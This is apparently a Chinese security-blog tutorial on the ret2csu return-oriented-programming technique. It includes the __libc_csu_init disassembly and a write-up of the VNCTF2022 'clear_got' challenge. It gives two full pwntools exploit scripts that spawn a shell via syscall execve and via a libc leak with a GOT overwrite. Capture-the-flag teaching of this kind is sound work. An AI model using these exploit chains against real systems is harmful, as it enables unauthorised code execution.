freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PWN栈溢出基础-ret2csu
2025-03-03 11:02:38
所属地 四川省

ret2csu

ret2csu简单来说就是利用一段万能的gadgets,可以控制一些寄存器的参数,调用call。一般使用ret2csu靠劫持 __libc_csu_init函数,这个函数在初始化libc是被调用,所以动态链接的程序都会调用这个函数。
函数的汇编代码大致如下

.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250                 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250                 endbr64
.text:0000000000401254                 push    r15
.text:0000000000401256                 lea     r15, __frame_dummy_init_array_entry
.text:000000000040125D                 push    r14
.text:000000000040125F                 mov     r14, rdx
.text:0000000000401262                 push    r13
.text:0000000000401264                 mov     r13, rsi
.text:0000000000401267                 push    r12
.text:0000000000401269                 mov     r12d, edi
.text:000000000040126C                 push    rbp
.text:000000000040126D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274                 push    rbx
.text:0000000000401275                 sub     rbp, r15
.text:0000000000401278                 sub     rsp, 8
.text:000000000040127C                 call    _init_proc
.text:0000000000401281                 sar     rbp, 3
.text:0000000000401285                 jz      short loc_4012A6
.text:0000000000401287                 xor     ebx, ebx
.text:0000000000401289                 nop     dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r13
.text:0000000000401293                 mov     rsi, r14
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

主要控制的部分如下

.text:0000000000401290                 mov     rdx, r13
.text:0000000000401293                 mov     rsi, r14
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

控制流程:
对于劫持到的程序的ret,我们可以返回到 0x4012AA的位置(不需要利用rsp,所以掠过),这样就会执行下面的指令,即把数据对应rbx,rbp,r12,r13,r14,r15依次出栈。在下面的ret指令中,我们可以写入 0x401290到前面的指令,为了继续向下执行call和jnp。call可以是我们想要跳转的地址,也可以不使用call一个空函数 _term_proc(call一个函数,需要的是指向这个函数的地址,例如一个函数的got地址,并不是函数本身的地址)。而继续执行jnp,不需要让程序跳转,因此要满足 rbp = rbx的条件。所以在最开始返回地址的时候,我们能够控制7个寄存器,通常就会设置为 rbx = 0, rbp = 1。这样rbx为0不会影响到call函数的执行,之后比较时会把rbx+1,这样恰好满足条件程序也不会跳转。之后又会执行之前的指令(可以二次控制参数,不需要就填入8*7的cyclic),返回时就可以返回需要的函数。
常见的用法为

call write/read -> .bss写入system,'/bin/sh' -> 调用system执行'/bin/sh'

由于ret2csu需要较多的字节数,所以需要控制好payload的长度

VNCTF2022公开赛clear_got

程序为64位程序

➜ checksec clear_got 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/micdy/.cache/.pwntools-cache-3.11/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/micdy/Desktop/pwnfile/clear_got'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

保护为堆栈不可执行

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[92]; // [rsp+0h] [rbp-60h] BYREF
  int v5; // [rsp+5Ch] [rbp-4h]

  init(argc, argv, envp);
  memset(buf, 0, 0x50uLL);
  puts("Welcome to VNCTF! This is a easy competition.///");
  read(0, buf, 0x100uLL);
  v5 = (int)&qword_601008;
  memset(&qword_601008, 0, 0x38uLL);
  return 0;
}

ret2csu

程序存在明显的溢出,但是在溢出后会清空got表,无法使用got表中的函数。没有办法直接使用ret2libc
程序还留下了两个系统调用,其中一个为sys_write

.text:0000000000400773                 public end2
.text:0000000000400773 end2            proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773                 push    rbp
.text:0000000000400774                 mov     rbp, rsp
.text:0000000000400777                 mov     rax, 1
.text:000000000040077E                 syscall                 ; LINUX - sys_write
.text:0000000000400780                 retn

没有能直接控制rdi,rdx的pop|ret
程序中有 __libc_csu_init尝试ret2csu去利用syscall

.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn

要利用syscall,还需要向.bss段写入'/bin/sh',需要调用read,而read的系统调用号为0,需要rax为0,但是main函数的返回值为0,即在main函数返回之前,rax会被设置为0,方便我们直接调用read,
再利用read构造返回值,read函数和write函数最后的返回值都是实际读到和写入的字节数(如果执行成功的话),而返回值会存入rax中,即执行 read(0,bss,0x3b)就可以控制rax的值为0x3b。这样就可以调用execv获取shell
大致流程入下
gadget1,为read准备寄存器->gadget2,为read修改寄存器->gadget1,为execv准备寄存器,syscall执行read->gadget2,为execv修改寄存器,syscall执行execv

from pwn import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

offset = 0x60
bss = elf.bss() + 0x100
syscall = 0x40077e
csu_gadget1 = 0x4007EA
csu_gadget2 = 0x4007d0
_DYNAMIC = 0x600e40

payload = b'A' * (offset + 8)
payload += p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(_DYNAMIC) # r12,call空函数
payload += p64(0x3b) # r13=rdx
payload += p64(bss) # r14=rsi
payload += p64(0) # r15=edi
payload += p64(csu_gadget2)
payload += b'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss + 8) # 为执行syscall做准备
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(syscall)
payload += p64(csu_gadget2)

p.recvuntil("///\n")
p.sendline(payload)

sleep(0.2)    
payload = b'/bin/sh\x00' + p64(syscall)
payload = payload.ljust(0x3b, b'A')
p.send(payload)
p.interactive()

ret2libc

首先使用sys_write泄露出libc基址;
然后通过sys_write的返回地址由rbp控制的特性,控制继续执行mov eax, 0;leave;ret控制rax,然后控制其他寄存器执行read函数,修改puts_got为system地址,puts_got+8为”/bin/sh”;
最后再执行puts(puts_got+8)即可。简单来说就是在got表被清空后重新写入函数的信息,在调用函数。

0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret

mov_ax = 0x000000000040075C
write = 0x0000000000400774
_puts = 0x000000000040071E
from pwn import *
from LibcSearcher import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')
libc = ELF('./pwnfile/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
  
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
mov_eax = 0x000000000040075C
_puts = 0x000000000040071E
write = 0x0000000000400774
  
start_got = elf.got['__libc_start_main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset = 0x68
payload1 = cyclic(offset) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(start_got) + p64(1) + p64(write) # write(1, start_got, 1)
payload1 += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got) + p64(1) + p64(0x000000000040077E) # read(0, puts_got, 1)
payload1 += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt) # puts(puts_got + 8)
p.recvuntil("///\n")
p.sendline(payload1)
start_addr = u64(p.recv(8))
libc_base = start_addr - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system'] - 0x8510
print(hex(system))
# gdb.attach(p)
payload2 = p64(system) + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()
# CTF # 栈溢出 # PWN入坑 # PWN栈溢出漏洞 # Linux64位栈溢出
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录